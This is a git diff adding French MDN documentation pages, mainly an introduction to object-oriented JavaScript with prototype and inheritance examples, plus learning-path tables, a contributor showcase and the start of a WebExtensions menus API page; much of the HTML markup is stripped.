Démonstration en JavaScript

+
+
+  
+
+
+ 		+ + + + + + +
+

Démonstration en JavaScript

+
+
+  
+
+
+
+

Remarques à propos de cette démonstration :

+ + + + + + + + +
+ Challenge
Modifiez le script pour que le carré se déplace vers la droite de 20 em lorsque sa couleur change et revienne à sa place lors de l'opération inverse.
+

Pour continuer

+

Si vous avez eu des difficultés à comprendre cette page ou si vous avez d'autres commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

+

Dans cette démonstration, le document HTML est lié au script même si seul l'élément button utilise le script. Mozilla étend CSS afin qu'il puisse lier du code JavaScript (ainsi que du contenu et d'autres feuilles de style) aux éléments sélectionnés. La page suivante en fournit la démonstration : Liaisons XBL

diff --git a/files/fr/conflicting/learn/javascript/objects/index.html b/files/fr/conflicting/learn/javascript/objects/index.html new file mode 100644 index 0000000000..c778187586 --- /dev/null +++ b/files/fr/conflicting/learn/javascript/objects/index.html @@ -0,0 +1,372 @@ +--- +title: Introduction à JavaScript orienté objet +slug: Web/JavaScript/Introduction_à_JavaScript_orienté_objet +tags: + - Encapsulation + - Intermédiaire + - JavaScript + - OOP + - Object + - Orienté objet +translation_of: Learn/JavaScript/Objects +translation_of_original: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript +--- +
{{jsSidebar("Introductory")}}
+ +

JavaScript possède un grand potentiel pour la programmation orientée objet (aussi appelée {{Glossary("OOP")}}). Cet article débutera par une introduction à la programmation orientée objet puis abordera le modèle objet de JavaScript et finira par les concepts de la programmation orientée objet appliquée à JavaScript.

+ +
+

Note : Une nouvelle façon de créer des objets a été introduite avec ECMAScript 2015 (ES6) et n'est pas décrite ici. Il s'agit des classes.

+
+ +

Un aperçu de JavaScript

+ +

Si vous n'êtes pas certain de connaître certains concepts comme les variables, les types, les fonctions, et les portées vous pouvez lire Une réintroduction à JavaScript. Vous pouvez également consulter le guide JavaScript.

+ +

La programmation orientée objet

+ +

La programmation orientée objet est un paradigme de programmation qui se base sur une abstraction du monde réel pour créer des modèles. Plusieurs techniques sont utilisées, provenant de paradigmes précédents, comme la modularité, le polymorphisme, ou l'encapsulation. Aujourd'hui, de nombreux langages de programmation (Java, JavaScript, C#, C++, Python, PHP, Ruby et Objective-C par exemple) utilisent la programmation orientée objet (OOP en anglais pour Object-Oriented Programmation).

+ +

La programmation orientée objet peut être vue comme une façon de concevoir un ou des logiciel(s) grâce à un ensemble d'objets qui coopèrent plutôt que d'utiliser, avec une approche plus traditionnelle, un ensemble de fonctions ou encore une liste d'instructions à envoyer à un ordinateur. En programmation orientée objet, chaque objet est capable d'envoyer et de recevoir des messages provenant d'autres objets, de traiter des données. Chaque objet peut être compris comme une entité indépendante avec un rôle distinct.

+ +

La programmation orientée objet a pour but de permettre une plus grande flexibilité et maintenabilité du code. Elle est populaire pour les projets logiciels de grande ampleur. Étant donné l'accent mis sur la modularité, le code orienté objet est censé être plus simple à développer, plus facile à reprendre, à analyser et permettre de répondre à des situations complexes en comparaison à d'autres méthodes de programmation moins modulaires.

+ +

Terminologie

+ +
+
{{Glossary("Namespace","Espace de noms")}}
+
Un conteneur qui permet aux développeurs d'empaqueter les différentes fonctionnalités d'un programme sous un même nom d'application.
+
{{Glossary("Class", "Classe")}}
+
Définit les caractéristiques de l'objet.
+
{{Glossary("Objet")}}
+
Une instance (un « exemplaire ») d'une classe.
+
{{Glossary("Property", "Propriété")}}
+
Une caractéristique d'un objet (sa couleur par exemple).
+
{{Glossary("Méthode")}}
+
Une capacité d'un objet (changer de couleur par exemple).
+
{{Glossary("Constructeur")}}
+
Une méthode appelée au moment de l'instantiation.
+
{{Glossary("Héritage")}}
+
Une classe peut hériter des caractéristiques et des fonctionnalités d'une autre classe.
+
{{Glossary("Encapsulation")}}
+
Une classe définit uniquement les caractéristiques de son objet, une méthode définit uniquement la façon dont elle s'exécute. On regroupe donc les données et les méthodes qui utilisent ces données.
+
{{Glossary("Abstraction")}}
+
La conjonction entre l'utilisation de l'héritage, de méthodes ou de propriétés d'un objet pour simuler un modèle de la réalité.
+
{{Glossary("Polymorphisme")}}
+
Poly signifie « plusieurs » et morphisme signifie « formes ». Cela signifie que différentes classes peuvent définir la même méthode ou la même propriété.
+
+ +

Pour une description plus étendue, lire l'article {{interwiki("wikipedia","Programmation_orientée_objet","Programmation orientée objet")}} de Wikipédia.

+ +

Programmation orientée prototype

+ +

La programmation orientée prototype est un style de programmation orientée objet qui n'utilise pas les classes. La réutilisation des propriétés d'un objet (appelée héritage pour les langages à classe) est effectuée via des objets qui seront des prototypes pour d'autres objets. Parmi les autres noms de ce modèle, on retrouve la programmation sans classe ou la programmation à base d'instances.

+ +

L'exemple premier d'un langage utilisant les prototypes est le langage de programmation {{interwiki("wikipedia", "Self_(langage)", "Self")}}, développé par David Ungar et Randall Smith. Toutefois, ce modèle de programmation s'est popularisé à différents langages comme JavaScript, Cecil, NewtonScript, Io, MOO, REBOL, Kevo, Squeak (quand le framework Viewer est utilisé pour manipuler des composants Morphic), et d'autres encore.

+ +

La programmation orientée objet avec JavaScript

+ +

Les espaces de noms

+ +

Un espace de noms est un conteneur qui permet de regrouper l'ensemble des fonctionnalités d'une application sous un un nom unique, spécifique à cette application. En JavaScript, un espace de noms est un objet comme les autres qui contient des méthodes et des propriétés.

+ +
+

Note : il est important de bien faire la différence avec d'autres langages ou les espaces de noms et les objets sont des entités distinctes. En JavaScript, ce n'est pas le cas.

+
+ +

Pourquoi créer un espace de noms en JavaScript ? La réponse est simple, on peut ainsi disposer d'un seul objet global qui contient l'ensemble des variables, méthodes et fonctions en tant que propriétés. L'utilisation d'un tel objet permet ainsi de réduire le risque de conflit (utilisation d'un même nom) au sein d'une application qui en utilise une autre.

+ +

Par exemple : on peut créer un objet global MONAPPLICATION :

+ +
// espace de nom global
+var MONAPPLICATION = MONAPPLICATION || {};
+ +

Dans l'exemple ci-dessus, on vérifie d'abord que MONAPPLICATION n'est pas déjà défini (dans ce fichier ou dans un autre). S'il est déjà défini, on l'utilise, sinon on crée un objet vide MONAPPLICATION qui recevra les différentes méthodes, fonctions et variables à encapsuler.

+ +

Il est également possible de créer des espaces de noms à un niveau inférieur (une fois qu'on a bien défini le namespace global) :

+ +
// espace de noms "fils"
+MONAPPLICATION.event = {};
+ +

L'exemple ci-dessous permet de créer un espace de noms et de lui ajouter des variables, des fonctions et des méthodes :

+ +
// On crée un conteneur MONAPPLICATION.méthodesCommunes pour regrouper certaines méthodes
+MONAPPLICATION.méthodesCommunes = {
+  regExPourNom: "", // on définit une expression rationnelle pour un nom
+  regExPourTéléphone: "", // une autre pour un numéro de téléphone
+  validerNom: function(nom){
+    // On valide le nom en utilisant
+    // la regexp par exemple
+  },
+
+  validerNumTéléphone: function(numTéléphone){
+    // on valide le numéro de téléphone
+  }
+}
+
+// On utilise un conteneur pour les événements
+MONAPPLICATION.event = {
+  addListener: function(el, type, fn) {
+  //  le corps de la méthode
+  },
+  removeListener: function(el, type, fn) {
+  //  le corps de la méthode
+  },
+  getEvent: function(e) {
+  //  le corps de la méthode
+  }
+
+ // Il est possible d'ajouter des méthodes et des propriétés
+}
+
+// Exemple de syntaxe pour utiliser la méthode addListener :
+MONAPPLICATION.event.addListener("monÉlément", "type", callback);
+ +

Objets natifs standard

+ +

JavaScript dispose de plusieurs objets essentiels inclus dans le langage. On y trouve entre autres les objets Math, Object, Array, et String. L'exemple ci-après illustre comment utiliser l'objet Math pour obtenir un nombre aléatoire en utilisant la méthode random().

+ +
console.log(Math.random());
+
+ +
Note : Cet exemple, ainsi que les suivants, utilisent une fonction {{domxref("console.log()")}} définie globalement. La fonction console.log n'est pas, à proprement parler, une fonctionnalité de JavaScript en tant que telle mais est implémentée dans la plupart des navigateurs à des fins de débogage.
+ +

Voir la page sur les objets globaux pour une liste de ces objets essentiels.

+ +

En JavaScript, chaque objet est une instance de l'objet Object et hérite donc des propriétés et des méthodes de ce dernier.

+ +

Objets créés sur mesure

+ +

Le constructeur

+ +

JavaScript est un langage utilisant les prototypes, il ne dispose pas d'une instruction pour déclarer une classe (à la différence de C++ ou Java). Cela peut sembler déroutant pour les développeurs utilisant d'autres langages de classe. JavaScript utilise des fonctions comme constructeurs pour définir un objet. On définit les propriétés et méthodes d'un objet en définissant une fonction qui sera utilisée par la suite pour construire l'objet souhaité. Ici, on définit un constructeur Personne.

+ +
var Personne = function () { }
+
+ +
+

Note : Par convention, le nom d'un constructeur commence par une majuscule. Cela permet de différencier les fonctions classiques des constructeurs et de mieux les utiliser.

+
+ +

L'instance

+ +

Pour créer une nouvelle instance, on utilise l'instruction new objet, et on affecte le résultat de cette expression à une variable qu'on utilisera par la suite. Il est également possible d'utiliser la méthode Object.create afin de créer une instance non initialisée.

+ +

Dans l'exemple qui suit, on utilise le constructeur Personne définit précédemment et on crée deux instances grâce à l'opérateur new (personne1 et personne2).

+ +
var personne1 = new Personne();
+var personne2 = new Personne();
+
+ +
Note: Voir aussi {{jsxref("Object.create()")}} pour une autre méthode d'instanciation.
+ +

Le constructeur (suite)

+ +

Le constructeur est la méthode appelée au moment de l'instanciation (l'instant où l'exemplaire de l'objet est créé). En JavaScript, la déclaration vue précédemment suffit à définir un constructeur. Chaque action déclarée dans le constructeur est executée au moment de l'instanciation.

+ +

Le constructeur est utilisé afin de définir les propriétés d'un objet et d'appeler les méthodes nécessaires pour préparer l'objet.

+ +

Dans l'exemple ci-dessous, le constructeur de la classe Personne affiche un message dans la console lorsqu'un objet Personne est instancié.

+ +
function Personne() {
+  console.log('Nouvel objet Personne créé');
+}
+
+var personne1 = new Personne();
+// affiche "Nouvel objet Personne créé" dans la console
+var personne2 = new Personne();
+// affiche "Nouvel objet Personne créé" dans la console
+
+ +

Les propriétés (ou attributs)

+ +

Les propriétés sont des variables appartenant à un objet. Les propriétés d'un objet peuvent être définies au sein du prototype afin que tous les objets qui en héritent puissent disposer de cette propriété via la chaîne de prototypes.

+ +

Dans le contexte d'un objet, l'accès à ses propriétés se fait grâce au mot-clé this, qui fait référence à l'objet courant. L'accès (en écriture ou lecture) à une propriété depuis un autre objet se fait grâce à la syntaxe nomInstance.propriété. Cette syntaxe est la même pour d'autres langages comme C++, Java, etc.

+ +

Dans l'exemple qui suit, on crée la propriété nom pour le constructeur Personne et on définit sa valeur lors de l'instanciation :

+ +
function Personne(nom) {
+  this.nom = nom;
+  console.log('Nouvel objet Personne créé');
+}
+
+var personne1 = new Personne('Alice');
+var personne2 = new Personne('Bob');
+
+//on affiche le nom de personne1
+console.log('personne1 est ' + personne1.nom); // personne1 est Alice
+console.log('personne2 est ' + personne2.nom); // personne2 est Bob
+
+ +

Les méthodes

+ +

Les méthodes sont également des propriétés d'un objet : ce sont des fonctions plutôt que des objets. L'appel à une méthode se fait de la même façon que pour l'accès à une propriété, les parenthèses () en plus, éventuellement avec des arguments. Pour définir une méthode dont disposeront tous les objets qu'on souhaite définir, il faut l'assigner comme propriété de la propriété prototype de l'objet. Le nom auquel est assigné la fonction est le nom de la méthode.

+ +

Dans l'exemple qui suit, on définit et utilise la méthode direBonjour() pour un objet Personne.

+ +
function Personne(nom) {
+  this.nom = nom;
+}
+
+Personne.prototype.direBonjour = function() {
+  console.log("Bonjour, je suis " + this.nom);
+};
+
+var personne1 = new Personne('Alice');
+var personne2 = new Personne('Robert');
+
+// on appelle la méthode.
+personne1.direBonjour(); // Bonjour, je suis Alice
+
+ +

En JavaScript, les méthodes sont des fonctions classiques simplement liées à un objet en tant que propriété. On peut donc appeler la méthode « en dehors de l'objet ». Par exemple :

+ +
function Personne(nom) {
+  this.nom = nom;
+}
+
+Personne.prototype.afficherNom = function() {
+  console.log("Je suis "+this.nom);
+};
+
+var personne1 = new Personne('Gustave');
+var donnerUnNom = personne1.afficherNom;
+
+personne1.afficherNom(); // 'Je suis Gustave'
+donnerUnNom(); // undefined
+console.log(donnerUnNom === personne1.afficherNom); // true
+console.log(donnerUnNom === Personne.prototype.afficherNom); // true
+donnerUnNom.call(personne1); // 'Je suis Gustave'
+
+ +

On voit ici plusieurs concepts. Tout d'abord, il n'existe pas de méthode propre à un objet car toutes les références à la méthode vont utiliser la fonction définie pour le prototype. Ensuite, JavaScript fait un lien entre le contexte de l'objet courant et la variable this quand une fonction est appelée en tant que propriété d'un objet. Ceci est équivalent à utiliser la fonction call :

+ +
donnerUnNom.call(personne1); // 'Gustave'
+
+ +
Note : Voir les pages Function.call et Function.apply pour plus d'informations. Voir également la page sur l'opérateur this et les différents contextes.
+ +

L'héritage

+ +

L'héritage permet de créer un objet spécialisé qui découle d'un autre objet. (JavaScript ne supporte que l'héritage unique : c'est-à-dire qu'un objet peut spécialiser un autre objet mais ne peut pas en spécialiser plusieurs à la fois). L'objet spécialisé est appelé l'objet fils et l'objet générique appelé parent. Pour indiquer un lien d'héritage en JavaScript, on assigne une instance de l'objet parent à la propriété prototype de l'objet fils. Grâce aux navigateurs récents, il est également possible d'utiliser la méthode Object.create afin d'implémenter l'héritage.

+ +
+

Note : Il est également nécessaire de renseigner la propriété prototype.constructor avec le constructeur de la classe parente ! Voir la page de Object:prototype pour plus d'informations.

+
+ +

Dans les exemples qui suivent, on définit le constructeur Étudiant pour créer des objets bénéficiant des propriétés d'un objet Personne. Pour cet objet fils, on redéfinit la méthode direBonjour() et on ajoute la méthode aurevoir().

+ +
// Le constructeur Personne
+var Personne = function(nom) {
+   this.nom = nom;
+};
+
+Personne.prototype.marcher = function(){
+  console.log("Je marche !");
+};
+Personne.prototype.direBonjour = function(){
+  console.log("Bonjour, je suis "+this.nom);
+};
+
+// Le constructeur Étudiant
+function Étudiant(nom, sujet) {
+  // On appelle le constructeur parent
+  // pour profiter des propriétés définies dans la fonction
+  Personne.call(this, nom);
+  this.sujet = sujet;
+}
+
+// On déclare l'héritage pour bénéficier de la chaîne de prototypes
+// Attention à ne pas utiliser "new Personne()". Ceci est incorrect
+// on ne peut pas fournir l'argument "nom". C'est pourquoi on appelle
+// Personne avant, dans le constructeur Étudiant.
+Étudiant.prototype = Object.create(Personne.prototype);
+
+// on corrige le constructeur qui pointe sur celui de Personne
+Étudiant.prototype.constructor = Étudiant;
+
+// on remplace la méthode direBonjour pour l'étudiant
+Étudiant.prototype.direBonjour = function(){
+ console.log("Bonjour, je suis "+ this.nom + ". J'étudie " + this.sujet + ".");
+};
+
+// on ajoute la méthode aurevoir
+Étudiant.prototype.aurevoir = function(){
+  console.log('Au revoir');
+};
+
+var étudiant1 = new Étudiant("Jean", "la physique appliquée");
+étudiant1.direBonjour();
+étudiant1.marcher();
+étudiant1.aurevoir();
+
+// on vérifie l'héritage
+console.log(étudiant1 instanceof Personne); // true
+console.log(étudiant1 instanceof Étudiant); // true
+
+ +

Les anciens navigateurs peuvent ne pas disposer de la méthode Object.create. Pour résoudre ce problème, il est possible d'utiliser une prothèse d'émulation (polyfill ou shim) comme :

+ +
function createObject(proto) {
+  function ctor() { }
+  ctor.prototype = proto;
+  return new ctor();
+}
+
+// Exemple d'utilisation:
+Étudiant.prototype = createObject(Personne.prototype);
+ +
Note : Voir la page Object.create pour plus d'informations et pour une prothèse d'émulation pour les anciens navigateurs.
+ +

Il peut parfois être utile de vérifier la valeur de this utilisée au sein de la fonction pour appliquer les bons traitements. Par exemple, on pourra utiliser

+ +
var Person = function(nom) {
+  if (this instanceof Personne) {
+    this.nom = nom;
+  } else {
+    return new Personne(nom);
+  }
+}
+
+ +

L'encapsulation

+ +

Dans l'exemple précédent, Étudiant n'a pas besoin de réimplémenter la méthode marcher() de Personne : il peut l'utiliser directement. L'encapsulation signifie qu'on a seulement besoin d'implémenter les changements (ex : direBonjour) par rapport à l'objet parent, le reste sera hérité naturellement et pourra être utilisé par l'objet fils. Chaque prototype regroupe les données et les méthodes dans une seule et même unitée.

+ +

D'autres langages permettent de masquer des informations grâce des méthodes/propriétés privées et/ou protégées. Bien qu'il soit possible de simuler ce comportement en JavaScript, cet aspect n'est pas obligatoire en programmation orientée objet.

+ +

L'abstraction

+ +

L'abstraction permet de modéliser le problème qu'on souhaite résoudre. On peut créer un modèle abstrait en utilisant l'héritage (autrement dit une spécialisation des objets) et la composition. Comme on l'a vu JavaScript permet de créer un héritage (simple) entre objets et la composition est obtenue car les propriétés d'un objet peuvent elles-mêmes être des objets.

+ +

L'objet JavaScript Function hérite de Object (on a l'héritage) et la propriété Function.prototype est une instance d'Object (on a la composition)

+ +
var toto = function(){};
+console.log('toto est une Function : ' + (toto instanceof Function) );
+console.log('toto.prototype est un Object : ' + (toto.prototype instanceof Object) );
+
+ +

Le polymorphisme

+ +

Le polymorphisme est rendu possible par l'héritage des méthodes. Les différents objets fils peuvent définir différentes méthodes avec le même nom. Ainsi si on itère sur une collection d'objets dont on sait que ces objets sont des instances du type parent, on pourra utiliser la méthode nommée qui utilisera la méthode définie pour l'objet fils.

+ +

Notes

+ +

Les techniques présentées ici ne sont qu'un fragment des techniques utilisables en JavaScript. JavaScript, grâce à sa nature prototypale, est très flexible et permet d'implémenter différentes façons de programmer avec des objets.

+ +

Les techniques présentées ici ne tirent pas partie de l'implémentation des objets d'autres langages ni de bidouilles spécifiques au langage. Il existe d'autres techniques permettant de construire différentes architectures objet en JavaScript mais celles-ci dépassent le cadre de cet article.

+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/learn_370bfb0fa23e42f4384f010341852c43/index.html b/files/fr/conflicting/learn_370bfb0fa23e42f4384f010341852c43/index.html new file mode 100644 index 0000000000..c60efcffac --- /dev/null +++ b/files/fr/conflicting/learn_370bfb0fa23e42f4384f010341852c43/index.html @@ -0,0 +1,168 @@ +--- +title: Comment construire un site web +slug: Apprendre/Tutoriels/Comment_construire_un_site_web +tags: + - Beginner + - Index + - NeedsContent +translation_of: Learn +translation_of_original: Learn/tutorial/How_to_build_a_web_site +--- +

Lorsqu'il s'agit d'apprendre la conception et le développement web, beaucoup souhaitent construire leur site web le plus rapidement possible. Pour faciliter votre progression, nous avons organisé et listé ici les connaissances minimales à acquérir.

+ +

Nous vous suggérons de démarrer avec les articles de ce tableau, en allant de la gauche vers la droite pour chacune des lignes, ligne après ligne. Si vous rencontrez des difficultés à comprendre un terme, n'hésitez pas à utiliser notre glossaire.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 Savoir théoriqueSavoir techniqueSavoir faire
1Commencer son projet web
+ Cette article présente l'étape primordiale de n'importe quel projet : définir ce qu'on souhaite accomplir avec.		  
2Le fonctionnement d'Internet
+ Dans cet article, nous expliquons ce qu'est l'Internet et comment il fonctionne.		  
3Comprendre les différences entre une page web, un site web, un serveur web et un moteur de rechercheQu'est-ce qu'un serveur web ?
+ Dans cet article, nous verrons ce que sont les serveurs web, comment ils fonctionnent et pourquoi ils sont importants.		De quels logiciels ai-je besoin pour construire un site web ?
+ Dans cet article, nous listons les logiciels nécessaires pour éditer, mettre en ligne ou consulter un site web.
4Le fonctionnement des liens sur le Web
+ Dans cet article, nous verrons ce que sont les liens et en quoi ils sont importants pour la structure du Web.		  
5Comprendre les URL et leur structure
+ Cet article aborde les Uniform Resource Locators (URL) en expliquant leur rôle et leur structure.		Comprendre les noms de domaine
+ Dans cet article, nous discutons des noms de domaine : ce qu'ils sont, comment ils sont organisés et comment en avoir un.		 
6Concevoir une page web
+ Lorsque vous concevez des pages pour votre site Internet, il est utile d'avoir en tête les modèles de mise en page les plus fréquemment utilisés.		 Publier sur le Web : combien ça coûte ?
+ Se lancer sur le Web n'est pas aussi bon marché qu'il y paraît à première vue. Dans cet article, nous verrons les différentes dépenses et leur raison d'être.
7Les bases de la conception web (TBD) Choisir, installer et paramétrer un éditeur de texte
+ Dans cet article, nous présentons les éléments principaux à connaître pour installer un éditeur de texte utilisé pour du développement web.
8  Mettre en place un environnement de travail
+ Cet article indique comment mettre en place un environnement de travail et de test afin d'organiser vos pages web.
9 Écrire une simple page HTML
+ Dans cet article, vous apprendrez à créer une page web simple grâce à HTML.		Ouvrir un fichier avec un navigateur web
+ Dans article, nous verrons comment ouvrir un fichier avec un navigateur web.
10 Les balises HTML et leur rôle
+ Cet article aborde les bases de HTML : les balises et comment les utiliser.		Transférer des fichiers vers un serveur web
+ Cet article illustre comment publier votre site en ligne grâce à des outils FTP.
11   +

Tester le bon fonctionnement de votre site web
+ Dans cet article, nous présenterons les différentes étapes permettant de diagnostiquer les problèmes d'un site web ainsi que les mesures à prendre pour corriger certains de ces problèmes.

+
+ +

Voici les bases qu'il est nécessaire d'avoir pour construire son premier site web. Si vous souhaitez approfondir et aborder des notions plus avancées, afin de réaliser un site web professionel par exemple, vous pouvez poursuivre avec les articles du tableau qui suit :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 Savoir théoriqueSavoir techniqueSavoir faire
12Que faut-il pour que les gens puissent voir mon site web ?  
13 Utiliser CSS dans une page web
+ Cet article explique comment appliquer des styles CSS à vos documents HTML.		 
14Qu'est-ce que l'accessibilité ?
+ Cet article aborde les concepts de base qui forment l'accessibilité pour le Web.		Les propriétés CSS et comment s'en servir
+ CSS définit l'apparence d'une page web. Il utilise des règles prédéfinies à l'aide de sélecteurs et de propriétés pour appliquer différents styles aux éléments et groupes d'éléments HTML.		 
15Concevoir un site pour tous les types d'utilisateur
+ Cet article aborde les concepts de bases pour vous aider à construire des sites web accessibles à tous.		 +

Mise en forme basique du texte avec CSS
+ Cet article explique comment mettre en forme le texte de documents HTML en utilisant les propriétés CSS les plus communes.

+ 		 
16 Utiliser des images 
17Common pitfalls to avoid in Web design (TBD)Basics of User eXperience (UX) Design (TBD)Design of navigation menus
diff --git a/files/fr/conflicting/learn_6767a192c90d2c9c5179cf004fce2ee8/index.html b/files/fr/conflicting/learn_6767a192c90d2c9c5179cf004fce2ee8/index.html new file mode 100644 index 0000000000..407a95704e --- /dev/null +++ b/files/fr/conflicting/learn_6767a192c90d2c9c5179cf004fce2ee8/index.html @@ -0,0 +1,36 @@ +--- +title: Tutoriels +slug: Apprendre/Tutoriels +tags: + - Index + - TopicStub +translation_of: Learn +translation_of_original: Learn/tutorial +--- +

Connaître les technologies Web et leurs concepts est un premier pas important. Mais il arrrive un moment où la mise en pratique est nécessaire. Pour cela, nous avons dressé quelques « chemins » qui vous aideront à parcourir les technologies web et à mettre en œuvre ce que vous pouvez apprendre !

+ +
+
+

Les bases

+ +

Ces séries d'articles sont essentielles pour débuter dans le développement web.

+ +
+
Comment construire un site web
+
Ce tutoriel illustre chacune des étapes pour construire un site web de A à Z.
+
Les bases de la sécurité informatique
+
Ce tutoriel explique les principes de base en sécurité informatique et comment les appliquer, notamment en cryptographie.
+
+
+ +
+

En détails

+ +

Le tutoriel qui suit aborde des notions plus avancées, destinées aux développeurs web ayant une certaine expérience.

+ +
+
Construire des applications web
+
Les applications web (ou Web Apps) sont des applications qui fonctionnent dans un navigateur web. Il y a quelques notions qui leur sont propres et qu'il faut connaître avant de commencer. Tout ce dont vous avez besoin est sur MDN !
+
+
+
diff --git a/files/fr/conflicting/mdn/contribute/index.html b/files/fr/conflicting/mdn/contribute/index.html new file mode 100644 index 0000000000..a4cd040a80 --- /dev/null +++ b/files/fr/conflicting/mdn/contribute/index.html @@ -0,0 +1,90 @@ +--- +title: Contribuer à MDN +slug: MDN_a_dix_ans/Contribuer_à_MDN +tags: + - MDN +translation_of: MDN_at_ten/Contributing_to_MDN +--- +
+
+

Le processus de contribution

+ +

Contribuer à MDN est simple. Il y a deux façons pour commencer. Vous voyez une page que vous pouvez améliorer (en corrigeant une coquille, en ajoutant des informations ou en corrigeant des notions techniques) ? Il suffit de cliquer sur le bouton « Modifier » situé en haut de la page. Vous connaissez quelque chose sur le Web qui n'est pas encore traité dans MDN ? Il suffit de créer une nouvelle page et notre communauté de relecteurs et d'éditeurs s'assurera que votre page respecte la forme nécessaire puis la placera au bon endroit dans le wiki. Pas de stress ! Peu importe si ce n'est pas parfait du premier coup, chacun peut améliorer le Web à sa façon !

+
+ +
+
+
+

Rejoignez-nous !

+ +

Rejoignez-nous pour apprendre à tous comment développer grâce aux technologies web !

+ +

Contribuez dès aujourd'hui

+
+
+
+
+ +
+
+

Quelques exemples de contributeurs

+ +

MDN est composé d'une vaste communauté de contributeurs. Nous ne pouvons malheureusement pas présenter tous les contributeurs (cela prendrait quelques années) mais nous pouvons en présenter quelques-uns dont les contributions sont conséquentes et/ou qui seront probablement présents sur le salon MDN Web Docs pour vous passer un coup de main, si besoin, lors de vos contributions

+ +
+
+

Nickolay Ponomarev
+ Contributeur volontaire

+ +

Nickolay fut l'un des premiers contributeurs. Il participa aux travaux initiaux autour de DevEdge. Encore aujourd'hui, il contribue à de nombreuses sections, des standards du Web aux produits Mozilla.

+ +

Andrew Overholt
+ Responsable technique

+ +

Andrew est à la tête des développeurs de l'équipe Web API. Une partie de son travail consiste à encourager les développeurs du DOM et des autres API afin qu'ils s'assurent que la documentation est en bonne forme, que ce soit en fournissant des informations à l'équipe d'écrivains techniques, en relisant la documentation ou en aidant à la création d'exemple de codes. Cette collaboration est très chère à l'équipe de MDN !

+ +

Jérémie Patonnier
+ Chef de projet

+ +

Jérémie a commencé à contribuer à MDN en 2011 en documentant les propriétés SVG, documentation dont il avait besoin pour son propre travail. Jérémie est devenu le chef d'orchestre de la communauté française de MDN. Il organise chaque mois des « MercrediDocs » dans les bureaux de Mozilla Paris. Actuellement, il travaille à créer la Learning area et à améliorer et normaliser les données de compatibilité web contenues dans MDN.

+ +

Julien (Sphinx)
+ Contributeur volontaire

+ +

Julien contribua pour une grande partie à la traduction de la section JavaScript de MDN en français. De nombreux contributeurs l'ont aidé dans cette tâche. Julien a passé de nombreuses soirées et week-ends à traduire des articles sur JavaScript pour que cette partie soit à jour et maintenue.

+
+ +
+

Jeff Walden
+ Développeur logiciel sur le moteur JavaScript

+ +

Jeff Walden fait désormais partie de l'équipe SpiderMonkey. Il a contribué à MDN depuis ses débuts, sur de nombreux sujets comme XPCOM, la compilation et les tests, JavaScript, CSS, et d'autres encore.

+ +

Priyanka Nag
+ Contributeur volontaire

+ +

Priyanka Nag a rejoint MDN en 2012 et est active dans la communauté MDN depuis le Sommet Mozilla en 2013 où elle a rencontré Luke Crouch et David Walsh, développeurs pour MDN. Cette rencontre fut décisive pour motiver ses premières contributions. Priyanka aime à faire connaître MDN, organiser des événements MDN tout en éditant ce wiki. Elle travaille actuellement comme écrivain technique à Red Hat et revendique fièrement que son intérêt pour l'écriture technique est né grâce à MDN et que ses contributions l'ont ainsi aidée dans sa vie professionnelle.

+ +

Saurabh Nair
+ Contributeur volontaire

+ +

Saurabh contribue à MDN depuis 2011. Il est devenu plus actif cette dernière année et fait partie de l'équipe de garde contre les spams. Il aide ainsi à supprimer les pages nocives, à réparer les pages vandalisées et à bannir les malfaiteurs dès qu'ils apparaissent. Saurabh vivant en Inde, il peut ainsi prendre le relai quand les équipes européennes et américaines dorment.

+ +

Sebastian Zartner
+ Contributeur volontaire

+ +

Sebastian commença à contribuer à MDN en 2007 en traduisant des articles en allemand. Rapidement, il se mit à contribuer aux articles anglais. Plus récemment, il a beaucoup contribué au contenu et à l'organisation de la référence CSS, en créer une API JSON pour les pages CSS et une macro pour la syntaxe CSS.

+
+
+
+ +
+
+
Les docs de Mozilla sur JavaScript sont un mélange d'or et d'arcs-en-ciel. Beaucoup d'arcs-en-ciel. Elles sont magiques.
+— Nathan Dimitriades
+ +
+
J'adore MDN car je ne peux même pas me souvenir de la structure des API que j'ai conçues.
+— Jake Archibald
+
+
diff --git a/files/fr/conflicting/mdn/tools/index.html b/files/fr/conflicting/mdn/tools/index.html new file mode 100644 index 0000000000..bf1a518498 --- /dev/null +++ b/files/fr/conflicting/mdn/tools/index.html @@ -0,0 +1,14 @@ +--- +title: Guide de l'utilisateur MDN +slug: MDN/User_guide +tags: + - Documentation + - Démarrer + - MDN + - Projet MDC +translation_of: MDN/Tools +translation_of_original: MDN/User_guide +--- +
{{MDNSidebar}}

Le site Mozilla Developper Network est un système avancé pour trouver, lire et contribuer à la documentation ainsi qu'au code pour les développeurs Web (mais aussi pour les développeurs Firefox et Firefox OS). Le guide de l'utilisateur MDS regorge d'articles détaillant comment utiliser le site MDS pour trouver la documentation dont vous avez besoin et si vous le désirez, comment aider à rendre les outils encore meilleurs et complets.

+ +

{{LandingPageListSubpages}}

diff --git a/files/fr/conflicting/mozilla/add-ons/webextensions/api/menus/overridecontext/index.html b/files/fr/conflicting/mozilla/add-ons/webextensions/api/menus/overridecontext/index.html new file mode 100644 index 0000000000..8d8463f069 --- /dev/null +++ b/files/fr/conflicting/mozilla/add-ons/webextensions/api/menus/overridecontext/index.html @@ -0,0 +1,62 @@ +--- +title: menus.overrideContext() +slug: Mozilla/Add-ons/WebExtensions/API/menus/menus.overrideContext() +tags: + - API + - Add-ons + - Extensions + - Méthode + - WebExtensions + - contextMenus +translation_of: Mozilla/Add-ons/WebExtensions/API/menus/menus.overrideContext() +--- +
{{AddonSidebar()}}
+ +

Cette API permet aux extensions de masquer tous les éléments de menu par défaut de Firefox afin de fournir une interface utilisateur de menu contextuel personnalisée. Ce menu contextuel peut comprendre plusieurs éléments de menu de niveau supérieur de l'extension et éventuellement inclure des éléments de menu contextuel d'onglet ou de signet provenant d'autres extensions. Cela doit être appelé lors d'un gestionnaire d'événements DOM du menu contextmenu, et s'applique uniquement au menu qui s'ouvre après cet événement.

+ +

Cette API ne peut être appelée que si l'addon dispose de la permission "menus.overrideContext".

+ +

Syntaxe

+ +
browser.menus.overrideContext(
+  contextOptions // object
+)
+
+ +

Paramètres

+ +
+
contextOptions
+
object.Propriétés qui définissent le contexte du menu contextuel.
+
+
+
bookmarkId {{optional_inline}}
+
